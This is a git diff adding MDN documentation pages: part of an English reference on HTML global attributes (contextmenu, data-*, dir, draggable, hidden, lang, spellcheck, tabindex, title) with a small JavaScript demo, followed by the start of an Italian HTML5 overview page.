+ <pre class="brush:html; highlight:[2,3,4,5,10,11,12,13,15,16,17,18]">&lt;body contextmenu="share"&gt;
+  &lt;menu type="context" id="share"&gt;
+    &lt;menu label="share"&gt;
+      &lt;menuitem label="Twitter" onclick="window.open('https://twitter.com/intent/tweet?text=Hurray! I am learning ContextMenu from MDN via Mozilla');"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Facebook" onclick="window.open('https://facebook.com/sharer/sharer.php?u=https://https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus');"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/menu&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Anywhere in the example you can share the page on Twitter and Facebook using the Share menu from your context menu.&lt;/li&gt;
+    &lt;li&gt;&lt;pre contextmenu="changeFont" id="fontSizing"&gt;On this specific list element, you can change the size of the text by using the "Increase/Decrease font" actions from your context menu&lt;/pre&gt;&lt;/li&gt;
+    &lt;menu type="context" id="changeFont"&gt;
+      &lt;menuitem label="Increase Font" onclick="incFont()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Decrease Font" onclick="decFont()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+    &lt;li contextmenu="ChangeImage" id="changeImage"&gt;On the image below, you can fire the "Change Image" action in your Context Menu.&lt;/li&gt;&lt;br /&gt;
+    &lt;img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" /&gt;
+    &lt;menu type="context" id="ChangeImage"&gt;
+      &lt;menuitem label="Change Image" onclick="changeImage()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/ol&gt;
+&lt;/body&gt;
+</pre>
+ <div style="display: none;">
+  <pre class="brush:css">      ol {
+        list-style-type:decimal;
+      }
+    </pre>
+ </div>
+ <p>...used with this JavaScript...</p>
+ <pre class="brush:js">function incFont(){
+  document.getElementById("fontSizing").style.fontSize="larger";
+}
+function decFont(){
+  document.getElementById("fontSizing").style.fontSize="smaller";
+}
+function changeImage(){
+  var j = Math.ceil((Math.random()*39)+1);
+  document.images[0].src="https://developer.mozilla.org/media/img/promote/promobutton_mdn" + j + ".png";
+}</pre>
+ <p>...will result in:</p>
+ <div>
+  {{EmbedLiveSample("ContextMenu_Example",550,200)}}</div>
+</div>
+<h2 id="data-*"><code><a name="attr-data-*">data-*</a></code></h2>
+<p>{{ HTMLVersionInline(5) }}{{ Gecko_minversion_inline("6.0") }} This class of attributes, called custom data attributes, allows proprietary information to be exchanged between the <a href="/en-US/docs/Web/HTML" title="en/HTML">HTML</a> and its <a href="/en-US/docs/DOM" title="en/DOM">DOM</a> representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.<br>
+ The <code>*</code> may be replaced by any name following <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> with the following restrictions:</p>
+<ul>
+ <li>the name must not start with <code>xml</code>, whatever case is used for these letters;</li>
+ <li>the name must not contain any semicolon (<code>U+003A</code>);</li>
+ <li>the name must not contain capital <code>A</code> to <code>Z</code> letters.</li>
+</ul>
+<p>Note that the <code>HTMLElement.dataset</code> attribute is a <code>StringMap</code> and the name of the custom data attribute <em> data-test-value<span id="1305983291817E" style="display: none;"> </span></em> will be accessible via <code>HTMLElement.dataset.</code><em><code>testValue</code></em> as any dash (<code>U+002D</code>) is replaced by the capitalization of the next letter (camelcase).</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td>{{specname("HTML WHATWG", "elements.html#custom-data-attribute", "data")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="dir"><code><a name="attr-dir">dir</a></code></h2>
+<p>This enumerated attribute indicates the directionality of the element's text. It can have the following values:</p>
+<ul>
+ <li><span style="font-family: Courier New;">ltr</span>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li>
+ <li><span style="font-family: Courier New;">rtl</span>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li>
+ <li><span style="font-family: Courier New;">auto</span>, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element. {{ HTMLVersionInline(5) }}</li>
+</ul>
+<div class="note">
+ <p><strong>Usage notes: </strong></p>
+ <ul>
+  <li>This attribute is mandatory for the {{ HTMLElement("bdo") }} element where it has a different semantic meaning.</li>
+  <li>This attribute is <em>not</em> inherited by the {{ HTMLElement("bdi") }} element. If not set, its value is <span style="font-family: Courier New;">auto</span>.</li>
+  <li>This attribute can be overridden by the CSS properties {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }}, if a CSS page is active and the element supports these properties.</li>
+  <li>As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated.</li>
+  <li>The <code>auto</code> value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database.</li>
+ </ul>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td>{{specname("HTML WHATWG", "elements.html#the-dir-attribute", "dir")}} ({{ HTMLVersionInline(4) }}: {{SpecName('HTML4.01', "struct/dirlang.html#h-8.2", "dir")}})</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="draggable"><code><a name="attr-draggable">draggable</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ Gecko_minversion_inline("1.9.1") }} This enumerated attribute indicates whether the element can be dragged, using the <a href="/En/DragDrop/Drag_and_Drop" title="https://developer.mozilla.org/En/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:</p>
+<ul>
+ <li><span style="font-family: Courier New;">true</span>, which indicates that the element may be dragged</li>
+ <li><span style="font-family: Courier New;">false</span>, which indicates that the element may not be dragged.</li>
+</ul>
+<p>If this attribute is not set, its default value is <span style="font-family: Courier New;">auto</span>, meaning the behavior should be the one defined by default by the browser.</p>
+<div class="note">
+ <p><strong>Usage notes: </strong></p>
+ <ul>
+  <li>This attribute is an <em>enumerated</em> one and not a <em>Boolean </em>one. This means that the explicit usage of one of the values <span style="font-family: Courier New;">true</span> or <span style="font-family: Courier New;">false</span> is mandatory and that a shorthand like <code>&lt;label draggable&gt;Example Label&lt;/label&gt; </code>is not allowed. The correct usage is <code>&lt;label draggable="true"&gt;Example Label&lt;/label&gt;</code>.</li>
+  <li>By default, only text selections, images, and links can be dragged. For all others elements, the event <strong>ondragstart</strong> must be set in order to the drag and drop mechanism to work, as shown in this <a href="/En/DragDrop/Drag_Operations" title="https://developer.mozilla.org/En/DragDrop/Drag_Operations">comprehensive example</a>.</li>
+ </ul>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#the-draggable-attribute" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#the-draggable-attribute">HTML5, section 3.9.5</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="dropzone" style="font-style: normal; font-weight: bold;"><code><a name="attr-draggable">dropzone</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ unimplemented_inline() }} This enumerated attribute indicates what types of content can be dropped on an element, using the <a href="/En/DragDrop/Drag_and_Drop" style="color: rgb(51, 102, 153) !important; text-decoration: none; cursor: default;" title="https://developer.mozilla.org/En/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values:</p>
+<ul>
+ <li><span style="font-family: Courier New;">copy</span>, which indicates that dropping will create a copy of the element that was dragged</li>
+ <li><span style="font-family: Courier New;">move</span>, which indicates that the element that was dragged will be moved to this new location.</li>
+ <li><span style="font-family: Courier New;">link</span>, will create a link to the dragged data.</li>
+</ul>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#the-dropzone-attribute" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#the-dropzone-attribute">HTML5, section 8.6.8</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="hidden"><code><a name="attr-hidden">hidden</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ Gecko_minversion_inline("2") }} This Boolean attribute indicates that the element is not yet, or is no longer, <em>relevant</em>. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements.</p>
+<div class="note">
+ <p><strong>Usage notes: </strong></p>
+ <ul>
+  <li>This attribute must not be used to hide content that could legitimately be shown. For example, it shouldn't be used to hide tabs panels of a tabbed interface, as this is a styling decision and another style showing them would lead to a perfectly correct page.</li>
+  <li>Hidden elements shouldn't be linked from non-hidden elements.</li>
+  <li>Elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.</li>
+  <li>Changing the <a href="/en-US/docs/Web/CSS/display">display</a> CSS value of an element with the <code>hidden</code> attribute overrides the behavior. For instance, an element styled <code>display: flex</code> will be displayed on screen regardless of the <code>hidden</code> attribute being present.</li>
+ </ul>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#the-hidden-attribute" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#the-hidden-attribute">HTML5, section 8.1</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="id"><code><a name="attr-id">id</a></code></h2>
+<p>This attribute defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).</p>
+<div class="note">
+ <p><strong>Usage note: </strong></p>
+ <ul>
+  <li>This attribute's value is an opaque string: this means that web author must not use it to convey any information. Particular meaning, for example semantic meaning, must not be derived from the string.</li>
+  <li>This attribute's value must not contain white spaces. Browsers treat non-conforming IDs that contains white spaces as if the white space is part of the ID. In contrast to the <strong>class</strong> attribute, which allows space-separated values, elements can only have one single ID defined through the <strong>id</strong> attribute. Note that an element may have several IDs, but the others should be set by another means, such as via a script interfacing with the DOM interface of the element.</li>
+  <li>Using characters except ASCII letters and digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in HTML 4. Though this restriction has been lifted in HTML 5, an ID should start with a letter for compatibility.</li>
+ </ul>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#concept-id" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#concept-id">HTML5, section 3.2.3.1</a> ({{ HTMLVersionInline(4) }}: <a class="external" href="http://www.w3.org/TR/REC-html40/struct/global.html#adef-id" title="http://www.w3.org/TR/REC-html40/struct/global.html#adef-id">HTML4.01, section 7.5.2</a>)</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="itemid"><code><a name="attr-itemid">itemid</a></code></h2>
+<h2 id="itemprop"><code><a name="attr-itemprop">itemprop</a></code></h2>
+<h2 id="itemref"><code><a name="attr-itemref">itemref</a></code></h2>
+<h2 id="itemscope"><code><a name="attr-itemscope">itemscope</a></code></h2>
+<h2 id="itemtype"><code><a name="attr-itemtype">itemtype</a></code></h2>
+<p>{{Spec2('HTML WHATWG')}} These attributes are related to the <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#microdata" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#microdata">WHATWG HTML Microdata feature</a>. {{ Bug(591467) }}</p>
+<h2 id="lang"><code><a name="attr-lang">lang</a></code></h2>
+<p>This attribute participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defines in the <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="http://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> IETF document. If the tag content is the <em>empty string</em> the language is set to <em>unkn</em><em>own</em>; if the tag content is not valid, regarding to BCP47, it is set to <em>invalid</em>.</p>
+<div class="note">
+ <p><strong>Usage note:</strong></p>
+ <ul>
+  <li>Even if the <strong>lang</strong> attribute is set, it may not be taken into account, as the <strong>xml:lang</strong> attribute has priority. Read the <a href="/en/Determining_the_language_of_element" title="en/Determining the language of element">algorithm determining the language</a> of an element's content to see how the language is determined in all cases.</li>
+  <li>For the CSS pseudo-class {{ cssxref(":lang") }}, two invalid language names are different if their names are different.</li>
+ </ul>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-lang-and-xml:lang-attributes" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-lang-and-xml:lang-attributes">HTML5, section 3.2.3.3</a>({{ HTMLVersionInline(4) }}: <a class="external" href="http://www.w3.org/TR/REC-html40/struct/dirlang.html#adef-lang" title="http://www.w3.org/TR/REC-html40/struct/dirlang.html#adef-lang">HTML4.01, section 8.1</a>)</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="spellcheck"><code><a name="attr-spellcheck">spellcheck</a></code></h2>
+<p>{{ HTMLVersionInline(5) }} {{ Gecko_minversion_inline("1.8.1") }} This enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values:</p>
+<ul>
+ <li><span style="font-family: Courier New;">true</span>, which indicates that the element should be, if possible, checked for spelling errors;</li>
+ <li><span style="font-family: Courier New;">false</span>, which indicates that the element should not be checked for spelling errors.</li>
+</ul>
+<p>If this attribute is not set, its default value is element-type and browser-defined. This default value may also be <span style="font-family: Courier New;">inherited</span>, which means that the element content will be checked for spelling errors only if its nearest ancestor has a <em>spellcheck</em> state of <span style="font-family: Courier New;">true</span>.<br>
+ <br>
+ You can consult <a href="/en/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling spell checking in HTML forms">this article</a> to see a comprehensive example of the use of this attribute.</p>
+<div class="note">
+ <p><strong>Usage notes: </strong></p>
+ <ul>
+  <li>This attribute is an <em>enumerated</em> one and not a <em>Boolean </em>one. This means that the explicit usage of one of the values <span style="font-family: Courier New;">true</span> or <span style="font-family: Courier New;">false</span> is mandatory and that a shorthand like <code>&lt;label spellcheck&gt;Example Label&lt;/label&gt; </code>is not allowed. The correct usage is <code>&lt;label spellcheck="true"&gt;Example Label&lt;/label&gt;</code>.</li>
+  <li>This attribute is merely a hint for the browser: browsers are not required to be able to check for spelling errors. Typically non-editable elements are not checked for spelling errors, even if the <strong>spellcheck</strong> attribute is set to true and the browser supports spellchecking.</li>
+  <li>The default value of this attribute is browser and element-dependant:</li>
+ </ul>
+ <table class="fullwidth-table">
+  <tbody>
+   <tr>
+    <th>Browser</th>
+    <th>{{ HTMLElement("html") }}</th>
+    <th>{{ HTMLElement("textarea") }}</th>
+    <th>{{ HTMLElement("input") }}</th>
+    <th>others</th>
+    <th>Comment</th>
+   </tr>
+   <tr>
+    <td rowspan="3">Firefox</td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">0</span></td>
+   </tr>
+   <tr>
+    <td><strong><span style="font-family: Courier New;">false</span></strong></td>
+    <td><strong><span style="font-family: Courier New;">true</span></strong></td>
+    <td><span style="font-family: Courier New;"><strong>inherited</strong></span></td>
+    <td><span style="font-family: Courier New;"><strong>inherited</strong></span></td>
+    <td><strong>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">1</span> (default value)</strong></td>
+   </tr>
+   <tr>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">true</span></td>
+    <td><span style="font-family: Courier New;">true</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">2</span></td>
+   </tr>
+   <tr>
+    <td rowspan="3">Seamonkey</td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">0</span></td>
+   </tr>
+   <tr>
+    <td><strong><span style="font-family: Courier New;">false</span></strong></td>
+    <td><strong><span style="font-family: Courier New;">true</span></strong></td>
+    <td><span style="font-family: Courier New;"><strong>inherited</strong></span></td>
+    <td><span style="font-family: Courier New;"><strong>inherited</strong></span></td>
+    <td><strong>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">1</span> (default value)</strong></td>
+   </tr>
+   <tr>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">true</span></td>
+    <td><span style="font-family: Courier New;">true</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">2</span></td>
+   </tr>
+   <tr>
+    <td rowspan="3">Camino</td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">0</span></td>
+   </tr>
+   <tr>
+    <td><span style="font-family: Courier New;">false</span></td>
+    <td><span style="font-family: Courier New;">true</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td><span style="font-family: Courier New;">inherited</span></td>
+    <td>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">1</span></td>
+   </tr>
+   <tr>
+    <td><strong><span style="font-family: Courier New;">false</span></strong></td>
+    <td><strong><span style="font-family: Courier New;">true</span></strong></td>
+    <td><strong><span style="font-family: Courier New;">true</span></strong></td>
+    <td><span style="font-family: Courier New;"><strong>inherited</strong></span></td>
+    <td><strong>When <span style="font-family: Courier New;">layout.spellcheckDefault</span> is <span style="font-family: Courier New;">2 </span><strong>(default value)</strong></strong></td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#attr-spellcheck" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#attr-spellcheck">HTML5, section 8.8</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="style"><code><a name="attr-style">style</a></code></h2>
+<p>This attribute contains <a href="/en/CSS" title="en/CSS">CSS</a> styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{ HTMLElement("style") }} element have mainly the purpose of allowing for quick styling, for example for testing purposes.</p>
+<div class="note">
+ <p><strong>Usage note: </strong>This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the <a href="#attr-hidden" title="#attr-hidden"><strong>hidden</strong></a> attribute.</p>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-style-attribute" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-style-attribute">HTML5, section 3.2.3.7</a>({{ HTMLVersionInline(4) }}: <a class="external" href="http://www.w3.org/TR/REC-html40/present/styles.html#h-14.2.2" title="http://www.w3.org/TR/REC-html40/present/styles.html#h-14.2.2">HTML4.01, section 14.2.2</a>)</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="tabindex"><code><a name="attr-tabindex">tabindex</a></code></h2>
+<p>This integer attribute indicates if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:</p>
+<ul>
+ <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
+ <li><span style="font-family: Courier New;">0</span> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
+ <li>a <span style="font-style: italic;">positive</span><em> value</em> which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the <strong>tabindex</strong>. If several elements share the same tabindex, their relative order follows their relative position in the document).</li>
+</ul>
+<p>An element with a <span style="font-family: Courier New;">0</span> value, an invalid value, or no <strong>tabindex</strong> value should be placed after elements with a positive <strong>tabindex</strong> in the sequential keyboard navigation order.</p>
+<p>You can consult <a href="/en/Focus_management_in_HTML" title="en/Focus management in HTML">this article</a> to see a comprehensive explanation of focus management.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#attr-tabindex" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#attr-tabindex">HTML5, section 8.4.1</a>({{ HTMLVersionInline(4) }}: <a class="external" href="http://www.w3.org/TR/REC-html40/interact/forms.html#adef-tabindex" title="http://www.w3.org/TR/REC-html40/interact/forms.html#adef-tabindex">HTML4.01, section 17.11.1</a>)</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="title"><code><a name="attr-title">title</a></code></h2>
+<p>This attribute contains a text representing advisory information related to the element it belongs too. Such information can typically, but not necessarily, be presented to the user as a tooltip. Here are some typical uses of this attribute:</p>
+<ul>
+ <li>Link: the title or a description of the linked document</li>
+ <li>Media element like an image: a description or associated credits</li>
+ <li>Paragraph: a footnote or a commentary about it</li>
+ <li>Quotation: some information about the author, and so on.</li>
+</ul>
+<p>If this attribute is omitted, it means that the title of the nearest ancestor of this element is still relevant for it (and can legitimately be used as the tooltip for that element. If this attribute is set to the <em>empty string</em>, it explicitly means that its nearest ancestor's title is not relevant for this element (and shouldn't be used in the tooltip for that element).</p>
+<p>Additional semantics are attached to the <strong>title</strong> attributes of the {{ HTMLElement("link") }}, {{ HTMLElement("abbr") }} and {{ HTMLElement("input") }}.</p>
+<div class="note">
+ <p><strong>Usage note:</strong> The <strong>title</strong> attribute may contains several lines. Each U+000A LINE FEED (LF) inserted represents such a newline. Some caution must be taken though, as that means that:</p>
+ <pre class="brush: html">&lt;p&gt;Newlines in title should be taken into account,like this &lt;abbr title="This is a
+multiline title"&gt;example&lt;/abbr&gt;.&lt;/p&gt;
+</pre>
+ <p>defines a two-line title.</p>
+ <p>Support for multi-line titles was added to Gecko in Gecko 12.0 {{ geckoRelease("12.0") }}.</p>
+</div>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Normative document</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-title-attribute" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#the-title-attribute">HTML5, section 3.2.3.3</a> ({{ HTMLVersionInline(4) }}: <a class="external" href="http://www.w3.org/TR/REC-html40/struct/global.html#adef-title" title="http://www.w3.org/TR/REC-html40/struct/global.html#adef-title">HTML4.01, section 7.4.3</a></td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/it/web/html/html5/index.html b/files/it/web/html/html5/index.html
new file mode 100644
index 0000000000..be6fc91a82
--- /dev/null
+++ b/files/it/web/html/html5/index.html
@@ -0,0 +1,167 @@
+---
+title: HTML5
+slug: Web/HTML/HTML5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p><span class="seoSummary"><strong>HTML5</strong> è l'ultima evoluzione dello standard che definisce <a href="/en-US/docs/HTML" title="HTML">HTML</a>. </span>Il termine rappresenta due concetti differenti:</p>
+
+<ul>
+ <li>Una nuova versione del <em>linguaggio</em> HTML, con nuovi elementi, attributi e comportamenti</li>
+ <li>Un più ampio insieme di tecnologie che permettono siti web e applicazioni più diversificate e potenti: Questo insieme è chiamato <em>HTML5 &amp; compagni</em> ed è spesso abbreviato in<em> HTML5</em></li>
+</ul>
+
+<p>Progettata per essere usabile da tutti gli sviluppatori Open Web, questa pagina di riferimento ha numerosi collegamenti a risorse riguardanti le tecnologie HTML5, classificate in diversi gruppi in base alla loro funzione.</p>
+
+<ul>
+ <li><em>Semantica</em>: descrivere con maggiore precisione il contenuto.</li>
+ <li><em>Connettività</em>: comunicare con il server in modi nuovi e innovativi.</li>
+ <li><em>Offline &amp; Memorizzazione</em>: permettere alle pagine web di immagazzinare dati sul client per operare più efficientemente offline.</li>
+ <li><em>Multimedia</em>: rendere audio e video cittadini di prima classe nell'Open Web.</li>
+ <li><em>Effetti e Grafica 2D/3D</em>: usare una gamma molto più ampia di opzioni di rappresentazione.</li>
+ <li><em>Prestazioni &amp; Integrazione</em>: ottimizzare la velocità di caricamento e ottenere un migliore utilizzo delle risorse hardware.</li>
+ <li><em>Accesso ai dispositivi</em>: usare vari dispositivi di input e output.</li>
+ <li><em>Stile:</em> consentire agli autori di realizzare temi più sofisticati.</li>
+</ul>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 id="Semantica" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Semantica</h2>
+
+<dl>
+ <dt><a href="/it/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document" title="
+Sezioni e Struttura di un Documento HTML5">Sezioni e struttura in HTML5</a></dt>
+ <dd>Uno sguardo ai nuovi elementi di sezionamento e contorno in HTML5: {{HTMLElement("section")}} , {{HTMLElement("article")}} , {{HTMLElement("nav")}} , {{HTMLElement("header")}} , {{HTMLElement("footer")}} , {{HTMLElement("aside")}} e {{HTMLElement("hgroup")}}.</dd>
+ <dt><a href="/it/docs/HTML/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Integrare audio e video in HTML5</a></dt>
+ <dd>Gli elementi {{HTMLElement("audio")}} e {{HTMLElement("video")}} permettono l'integrazione e la manipolazione di nuovi contenuti multimediali.</dd>
+ <dt><a href="/it/docs/HTML/Forms_in_HTML" title="Forms in HTML5">Forms in HTML5</a></dt>
+ <dd>Uno sguardo ai miglioramenti dei form in HTML5: le API di convalida dei campi, parecchi nuovi attributi, nuovi valori per l'attributo {{htmlattrxref("type", "input")}} degli {{HTMLElement("input")}}, e il nuovo elemento {{HTMLElement("output")}}.</dd>
+ <dt>Nuovi elementi semantici</dt>
+ <dd>Accanto a sezioni, multimedia e le novità dei forms, ci sono numerosi nuovi elementi come {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, o {{HTMLElement("meter")}}, che accrescono la quantità di <a href="/en-US/docs/HTML/HTML5/HTML5_element_list" title="HTML/HTML5/HTML5_element_list">elementi validi di HTML5</a>.</dd>
+ <dt>Miglioramenti degli {{HTMLElement("iframe")}}</dt>
+ <dd>Utilizzando {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, e gli attributi {{htmlattrxref("srcdoc", "iframe")}}, gli autori possono ora precisare il livello di sicurezza e il rendering desiderato di un elemento {{HTMLElement("iframe")}}.</dd>
+ <dt><a href="/en-US/docs/MathML" title="MathML">MathML</a></dt>
+ <dd>Permette di incorporare direttamente formule matematiche.</dd>
+ <dt><a href="/it/docs/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">Introduzione a HTML5</a></dt>
+ <dd>Questo articolo introduce al problema di come indicare al browser che stai utilizzando HTML5 nel tuo progetto o applicazione web.</dd>
+ <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">Parser di HTML5-compatibile</a></dt>
+ <dd>Il parser, che converte i byte di un documento HTML nel DOM, è stato esteso ed ora riconosce con precisione il comportamento da adottare in tutti i casi, anche quando incontra HTML non valido. Ciò conduce ad una maggiore prevedibilità e interoperabilità tra i browser compatibili con HTML5.</dd>
+</dl>
+
+<h2 id="Connettività" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Connettività</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Sockets</a></dt>
+ <dd>Permette di creare una connessione permanente tra la pagina ed il server e di scambiare dati, non HTML, attraverso questo mezzo.</dd>
+ <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Server-event inviati</a></dt>
+ <dd>Permetta a un server di sottoporre eventi al client, contrariamente al classico paradigma per cui il server invia dati solo in risposta alla richiesta del client.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
